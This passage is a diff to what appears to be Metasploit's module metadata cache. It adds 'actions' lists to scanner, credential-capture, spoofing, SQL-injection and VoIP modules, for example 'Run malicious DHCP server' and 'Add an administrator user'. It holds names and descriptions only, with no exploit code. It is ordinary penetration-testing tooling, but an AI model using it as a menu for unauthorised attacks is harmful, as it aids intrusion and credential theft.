"needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/upnp/ssdp_msearch": { "name": "UPnP SSDP M-SEARCH Information Discovery", @@ -51318,7 +56181,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/varnish/varnish_cli_file_read": { "name": "Varnish Cache CLI File Read", @@ -51360,7 +56226,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/varnish/varnish_cli_login": { "name": "Varnish Cache CLI Login Utility", @@ -51402,7 +56271,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/vmware/esx_fingerprint": { "name": "VMWare ESX/ESXi Fingerprint Scanner", @@ -51449,7 +56321,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/vmware/vmauthd_login": { "name": "VMWare Authentication Daemon Login Scanner", @@ -51487,7 +56362,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/vmware/vmauthd_version": { "name": "VMWare Authentication Daemon Version Scanner", @@ -51526,7 +56404,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/vmware/vmware_enum_permissions": { "name": "VMWare Enumerate Permissions", @@ -51573,7 +56454,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/vmware/vmware_enum_sessions": { "name": "VMWare Enumerate Active Sessions", @@ -51620,7 +56504,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/vmware/vmware_enum_users": { "name": "VMWare Enumerate User Accounts", @@ -51667,7 +56554,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/vmware/vmware_enum_vms": { "name": "VMWare Enumerate Virtual Machines", @@ -51714,7 +56604,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/vmware/vmware_host_details": { "name": "VMWare Enumerate Host Details", @@ -51761,7 +56654,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/vmware/vmware_http_login": { "name": "VMWare Web Login Scanner", @@ -51808,7 +56704,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/vmware/vmware_screenshot_stealer": { "name": "VMWare Screenshot Stealer", @@ -51855,7 +56754,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/vmware/vmware_server_dir_trav": { "name": "VMware Server Directory Traversal Vulnerability", @@ -51906,7 +56808,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/vmware/vmware_update_manager_traversal": { "name": "VMWare Update Manager 4 Directory Traversal", @@ -51957,7 +56862,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/vnc/ard_root_pw": { "name": "Apple Remote Desktop Root Vulnerability", @@ -51996,7 +56904,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/vnc/vnc_login": { "name": "VNC Authentication Scanner", @@ -52045,7 +56956,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/vnc/vnc_none_auth": { "name": "VNC Authentication None Detection", @@ -52086,7 +57000,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/voice/recorder": { "name": "Telephone Line Voice Scanner", @@ -52124,7 +57041,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/vxworks/urgent11_check": { "name": "URGENT/11 Scanner, Based on Detection Tool by Armis", @@ -52169,7 +57089,10 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/vxworks/wdbrpc_bootline": { "name": "VxWorks WDB Agent Boot Parameter Scanner", @@ -52208,7 +57131,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/vxworks/wdbrpc_version": { "name": "VxWorks WDB Agent Version Scanner", @@ -52247,7 +57173,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/winrm/winrm_auth_methods": { "name": "WinRM Authentication Method Detection", @@ -52297,7 +57226,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/winrm/winrm_cmd": { "name": "WinRM Command Runner", @@ -52347,7 +57279,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/winrm/winrm_login": { "name": "WinRM Login Utility", @@ -52398,7 +57333,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/winrm/winrm_wql": { "name": "WinRM WQL Query Runner", @@ -52448,7 +57386,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/wproxy/att_open_proxy": { "name": "Open WAN-to-LAN proxy on AT&T routers", @@ -52493,7 +57434,10 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/wsdd/wsdd_query": { "name": "WS-Discovery Information Discovery", @@ -52535,7 +57479,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/x11/open_x11": { "name": "X11 No-Auth Scanner", @@ -52574,7 +57521,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_server/android_browsable_msf_launch": { "name": "Android Meterpreter Browsable Launcher", @@ -52612,7 +57562,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_server/android_mercury_parseuri": { "name": "Android Mercury Browser Intent URI Scheme and Directory Traversal Vulnerability", @@ -52653,7 +57606,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_server/browser_autopwn": { "name": "HTTP Client Automatic Exploiter", @@ -52691,7 +57647,21 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "DefangedDetection", + "description": "Only perform detection, send no exploits" + }, + { + "name": "WebServer", + "description": "Start a bunch of modules and direct clients to appropriate exploits" + }, + { + "name": "list", + "description": "List the exploit modules that would be started" + } + ] }, "auxiliary_server/browser_autopwn2": { "name": "HTTP Client Automatic Exploiter 2 (Browser Autopwn)", @@ -52729,7 +57699,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "WebServer", + "description": "Start a bunch of modules and direct clients to appropriate exploits" + } + ] }, "auxiliary_server/capture/drda": { "name": "Authentication Capture: DRDA (DB2, Informix, Derby)", @@ -52767,7 +57743,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "Capture", + "description": "Run DRDA capture server" + } + ] }, "auxiliary_server/capture/ftp": { "name": "Authentication Capture: FTP", @@ -52806,7 +57788,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "Capture", + "description": "Run FTP capture server" + } + ] }, "auxiliary_server/capture/http": { "name": "Authentication Capture: HTTP", @@ -52845,7 +57833,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "Capture", + "description": "Run capture web server" + } + ] }, "auxiliary_server/capture/http_basic": { "name": "HTTP Client Basic Authentication Credential Collector", @@ -52883,7 +57877,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "Capture", + "description": "Run capture web server" + } + ] }, "auxiliary_server/capture/http_javascript_keylogger": { "name": "Capture: HTTP JavaScript Keylogger", @@ -52922,7 +57922,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_server/capture/http_ntlm": { "name": "HTTP Client MS Credential Catcher", @@ -52960,7 +57963,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "WebServer", + "description": "Run capture web server" + } + ] }, "auxiliary_server/capture/imap": { "name": "Authentication Capture: IMAP", @@ -52999,7 +58008,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "Capture", + "description": "Run IMAP capture server" + } + ] }, "auxiliary_server/capture/mssql": { "name": "Authentication Capture: MSSQL", @@ -53037,7 +58052,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "Capture", + "description": "Run MSSQL capture server" + } + ] }, "auxiliary_server/capture/mysql": { "name": "Authentication Capture: MySQL", @@ -53075,7 +58096,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "Capture", + "description": "Run MySQL capture server" + } + ] }, "auxiliary_server/capture/pop3": { "name": "Authentication Capture: POP3", @@ -53114,7 +58141,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "Capture", + "description": "Run POP3 capture server" + } + ] }, "auxiliary_server/capture/postgresql": { "name": "Authentication Capture: PostgreSQL", @@ -53152,7 +58185,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "Capture", + "description": "Run PostgreSQL capture server" + } + ] }, "auxiliary_server/capture/printjob_capture": { "name": "Printjob Capture Service", @@ -53192,7 +58231,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "Capture", + "description": "Run print job capture server" + } + ] }, "auxiliary_server/capture/sip": { "name": "Authentication Capture: SIP", @@ -53230,7 +58275,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "Capture", + "description": "Run SIP capture server" + } + ] }, "auxiliary_server/capture/smb": { "name": "Authentication Capture: SMB", @@ -53271,7 +58322,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "Capture", + "description": "Run SMB capture server" + } + ] }, "auxiliary_server/capture/smtp": { "name": "Authentication Capture: SMTP", @@ -53313,7 +58370,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "Capture", + "description": "Run SMTP capture server" + } + ] }, "auxiliary_server/capture/telnet": { "name": "Authentication Capture: Telnet", @@ -53351,7 +58414,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "Capture", + "description": "Run telnet capture server" + } + ] }, "auxiliary_server/capture/vnc": { "name": "Authentication Capture: VNC", @@ -53389,7 +58458,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "Capture", + "description": "Run VNC capture server" + } + ] }, "auxiliary_server/dhclient_bash_env": { "name": "DHCP Client Bash Environment Variable Code Injection (Shellshock)", @@ -53439,7 +58514,13 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "Service", + "description": "Run malicious DHCP server" + } + ] }, "auxiliary_server/dhcp": { "name": "DHCP Server", @@ -53478,7 +58559,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "Service", + "description": "Run DHCP server" + } + ] }, "auxiliary_server/dns/native_server": { "name": "Native DNS Server (Example)", @@ -53516,7 +58603,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "Service", + "description": "Run DNS service" + } + ] }, "auxiliary_server/dns/spoofhelper": { "name": "DNS Spoofing Helper Service", @@ -53555,7 +58648,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "Service", + "description": "Run DNS spoofing server" + } + ] }, "auxiliary_server/fakedns": { "name": "Fake DNS Service", @@ -53595,7 +58694,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "Service", + "description": "Run DNS server" + } + ] }, "auxiliary_server/ftp": { "name": "FTP File Server", @@ -53633,7 +58738,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "Service", + "description": "Serve files via FTP" + } + ] }, "auxiliary_server/http_ntlmrelay": { "name": "HTTP Client MS Credential Relayer", @@ -53680,7 +58791,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "WebServer", + "description": "Start web server waiting for incoming authenticated connections" + } + ] }, "auxiliary_server/icmp_exfil": { "name": "ICMP Exfiltration Service", @@ -53720,7 +58837,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_server/jsse_skiptls_mitm_proxy": { "name": "Java Secure Socket Extension (JSSE) SKIP-TLS MITM Proxy", @@ -53763,7 +58883,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "Service", + "description": "Run MITM proxy" + } + ] }, "auxiliary_server/ldap": { "name": "Native LDAP Server (Example)", @@ -53811,7 +58937,13 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "Service", + "description": "Run LDAP server" + } + ] }, "auxiliary_server/local_hwbridge": { "name": "Hardware Bridge Server", @@ -53849,7 +58981,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "WebServer", + "description": "Run HWBridge web server" + } + ] }, "auxiliary_server/ms15_134_mcl_leak": { "name": "MS15-134 Microsoft Windows Media Center MCL Information Disclosure", @@ -53891,7 +59029,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_server/netbios_spoof_nat": { "name": "NetBIOS Response \"BadTunnel\" Brute Force Spoof (NAT Tunnel)", @@ -53935,7 +59076,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "Service", + "description": "Run listener for NetBIOS requests and respond to them" + } + ] }, "auxiliary_server/openssl_altchainsforgery_mitm_proxy": { "name": "OpenSSL Alternative Chains Certificate Forgery MITM Proxy", @@ -53977,7 +59124,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "Service", + "description": "Run MITM proxy" + } + ] }, "auxiliary_server/openssl_heartbeat_client_memory": { "name": "OpenSSL Heartbeat (Heartbleed) Client Memory Exposure", @@ -54025,7 +59178,13 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "Capture", + "description": "Run server to disclose memory from incoming clients" + } + ] }, "auxiliary_server/pxeexploit": { "name": "PXE Boot Exploit Server", @@ -54063,7 +59222,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "Service", + "description": "Run PXE server" + } + ] }, "auxiliary_server/regsvr32_command_delivery_server": { "name": "Regsvr32.exe (.sct) Command Delivery Server", @@ -54103,7 +59268,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_server/socks_proxy": { "name": "SOCKS Proxy Server", @@ -54143,7 +59311,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "Proxy", + "description": "Run a SOCKS proxy server" + } + ] }, "auxiliary_server/socks_unc": { "name": "SOCKS Proxy UNC Path Redirection", @@ -54181,7 +59355,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "Proxy", + "description": "Run SOCKS UNC proxy" + } + ] }, "auxiliary_server/teamviewer_uri_smb_redirect": { "name": "TeamViewer Unquoted URI Handler SMB Redirect", @@ -54231,7 +59411,10 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_server/tftp": { "name": "TFTP File Server", @@ -54270,7 +59453,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "Service", + "description": "Serve files via TFTP" + } + ] }, "auxiliary_server/webkit_xslt_dropper": { "name": "Cross Platform Webkit File Dropper", @@ -54308,7 +59497,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "WebServer", + "description": "Serve exploit via web server" + } + ] }, "auxiliary_server/wget_symlink_file_write": { "name": "GNU Wget FTP Symlink Arbitrary Filesystem Access", @@ -54348,7 +59543,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "Service", + "description": "Run malicious FTP server" + } + ] }, "auxiliary_server/wpad": { "name": "WPAD.dat File Server", @@ -54386,7 +59587,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_sniffer/psnuffle": { "name": "pSnuffle Packet Sniffer", @@ -54424,7 +59628,17 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "List", + "description": "List protocols" + }, + { + "name": "Sniffer", + "description": "Run sniffer" + } + ] }, "auxiliary_spoof/arp/arp_poisoning": { "name": "ARP Spoof", @@ -54464,7 +59678,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_spoof/cisco/cdp": { "name": "Send Cisco Discovery Protocol (CDP) Packets", @@ -54502,7 +59719,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "Spoof", + "description": "Sends CDP packets" + } + ] }, "auxiliary_spoof/cisco/dtp": { "name": "Forge Cisco DTP Packets", @@ -54540,7 +59763,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "Service", + "description": "Run DTP forging service" + } + ] }, "auxiliary_spoof/dns/bailiwicked_domain": { "name": "DNS BailiWicked Domain Attack", @@ -54583,7 +59812,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_spoof/dns/bailiwicked_host": { "name": "DNS BailiWicked Host Attack", @@ -54625,7 +59857,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_spoof/dns/compare_results": { "name": "DNS Lookup Result Comparison", @@ -54663,7 +59898,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_spoof/dns/native_spoofer": { "name": "Native DNS Spoofer (Example)", @@ -54710,7 +59948,13 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "Service", + "description": "Serve DNS entries" + } + ] }, "auxiliary_spoof/llmnr/llmnr_response": { "name": "LLMNR Spoofer", @@ -54748,7 +59992,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "Service", + "description": "Run LLMNR spoofing service" + } + ] }, "auxiliary_spoof/mdns/mdns_response": { "name": "mDNS Spoofer", @@ -54788,7 +60038,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "Service", + "description": "Run mDNS spoofing service" + } + ] }, "auxiliary_spoof/nbns/nbns_response": { "name": "NetBIOS Name Service Spoofer", @@ -54826,7 +60082,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "Service", + "description": "Run NBNS spoofing service" + } + ] }, "auxiliary_spoof/replay/pcap_replay": { "name": "Pcap Replay Utility", @@ -54864,7 +60126,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_sqli/dlink/dlink_central_wifimanager_sqli": { "name": "D-Link Central WiFiManager SQL injection", @@ -54923,7 +60188,21 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "ADD_ADMIN", + "description": "Add an administrator user" + }, + { + "name": "REMOVE_ADMIN", + "description": "Remove an administrator user" + }, + { + "name": "SQLI_DUMP", + "description": "Retrieve all the data from the database" + } + ] }, "auxiliary_sqli/openemr/openemr_sqli_dump": { "name": "OpenEMR 5.0.1 Patch 6 SQLi Dump", @@ -54971,7 +60250,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_sqli/oracle/dbms_cdc_ipublish": { "name": "Oracle DB SQL Injection via SYS.DBMS_CDC_IPUBLISH.ALTER_HOTLOG_INTERNAL_CSOURCE", @@ -55010,7 +60292,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_sqli/oracle/dbms_cdc_publish": { "name": "Oracle DB SQL Injection via SYS.DBMS_CDC_PUBLISH.ALTER_AUTOLOG_CHANGE_SOURCE", @@ -55049,7 +60334,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_sqli/oracle/dbms_cdc_publish2": { "name": "Oracle DB SQL Injection via SYS.DBMS_CDC_PUBLISH.DROP_CHANGE_SOURCE", @@ -55089,7 +60377,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_sqli/oracle/dbms_cdc_publish3": { "name": "Oracle DB SQL Injection via SYS.DBMS_CDC_PUBLISH.CREATE_CHANGE_SET", @@ -55129,7 +60420,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_sqli/oracle/dbms_cdc_subscribe_activate_subscription": { "name": "Oracle DB SQL Injection via SYS.DBMS_CDC_SUBSCRIBE.ACTIVATE_SUBSCRIPTION", @@ -55172,7 +60466,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_sqli/oracle/dbms_export_extension": { "name": "Oracle DB SQL Injection via DBMS_EXPORT_EXTENSION", @@ -55213,7 +60510,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_sqli/oracle/dbms_metadata_get_granted_xml": { "name": "Oracle DB SQL Injection via SYS.DBMS_METADATA.GET_GRANTED_XML", @@ -55251,7 +60551,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_sqli/oracle/dbms_metadata_get_xml": { "name": "Oracle DB SQL Injection via SYS.DBMS_METADATA.GET_XML", @@ -55289,7 +60592,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_sqli/oracle/dbms_metadata_open": { "name": "Oracle DB SQL Injection via SYS.DBMS_METADATA.OPEN", @@ -55327,7 +60633,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_sqli/oracle/droptable_trigger": { "name": "Oracle DB SQL Injection in MDSYS.SDO_TOPO_DROP_FTBL Trigger", @@ -55368,7 +60677,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_sqli/oracle/jvm_os_code_10g": { "name": "Oracle DB 10gR2, 11gR1/R2 DBMS_JVM_EXP_PERMS OS Command Execution", @@ -55409,7 +60721,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_sqli/oracle/jvm_os_code_11g": { "name": "Oracle DB 11g R1/R2 DBMS_JVM_EXP_PERMS OS Code Execution", @@ -55450,7 +60765,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_sqli/oracle/lt_compressworkspace": { "name": "Oracle DB SQL Injection via SYS.LT.COMPRESSWORKSPACE", @@ -55490,7 +60808,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_sqli/oracle/lt_findricset_cursor": { "name": "Oracle DB SQL Injection via SYS.LT.FINDRICSET Evil Cursor Method", @@ -55531,7 +60852,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_sqli/oracle/lt_mergeworkspace": { "name": "Oracle DB SQL Injection via SYS.LT.MERGEWORKSPACE", @@ -55572,7 +60896,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_sqli/oracle/lt_removeworkspace": { "name": "Oracle DB SQL Injection via SYS.LT.REMOVEWORKSPACE", @@ -55611,7 +60938,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_sqli/oracle/lt_rollbackworkspace": { "name": "Oracle DB SQL Injection via SYS.LT.ROLLBACKWORKSPACE", @@ -55651,7 +60981,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_voip/asterisk_login": { "name": "Asterisk Manager Login Utility", @@ -55689,7 +61022,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_voip/cisco_cucdm_call_forward": { "name": "Viproy CUCDM IP Phone XML Services - Call Forwarding Tool", @@ -55737,7 +61073,17 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "Forward", + "description": "Enabling the call forwarding for the MAC address" + }, + { + "name": "Info", + "description": "Retrieving the call forwarding information for the MAC address" + } + ] }, "auxiliary_voip/cisco_cucdm_speed_dials": { "name": "Viproy CUCDM IP Phone XML Services - Speed Dial Attack Tool", @@ -55785,7 +61131,25 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "Add", + "description": "Adding a speeddial for the MAC address" + }, + { + "name": "Delete", + "description": "Deleting a speeddial for the MAC address" + }, + { + "name": "List", + "description": "Getting the speeddials for the MAC address" + }, + { + "name": "Modify", + "description": "Modifying a speeddial for the MAC address" + } + ] }, "auxiliary_voip/sip_deregister": { "name": "SIP Deregister Extension", @@ -55823,7 +61187,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_voip/sip_invite_spoof": { "name": "SIP Invite Spoof", @@ -55862,7 +61229,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_voip/telisca_ips_lock_control": { "name": "Telisca IPS Lock Cisco IP Phone Control", @@ -55910,7 +61280,17 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "LOCK", + "description": "To lock a phone" + }, + { + "name": "UNLOCK", + "description": "To unlock a phone" + } + ] }, "auxiliary_vsploit/malware/dns/dns_mariposa": { "name": "VSploit Mariposa DNS Query Module", @@ -55948,7 +61328,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_vsploit/malware/dns/dns_query": { "name": "VSploit DNS Beaconing Emulation", @@ -55986,7 +61369,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_vsploit/malware/dns/dns_zeus": { "name": "VSploit Zeus DNS Query Module", @@ -56024,7 +61410,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_vsploit/pii/email_pii": { "name": "VSploit Email PII", @@ -56068,7 +61457,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_vsploit/pii/web_pii": { "name": "VSploit Web PII", @@ -56106,7 +61498,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "encoder_cmd/brace": { 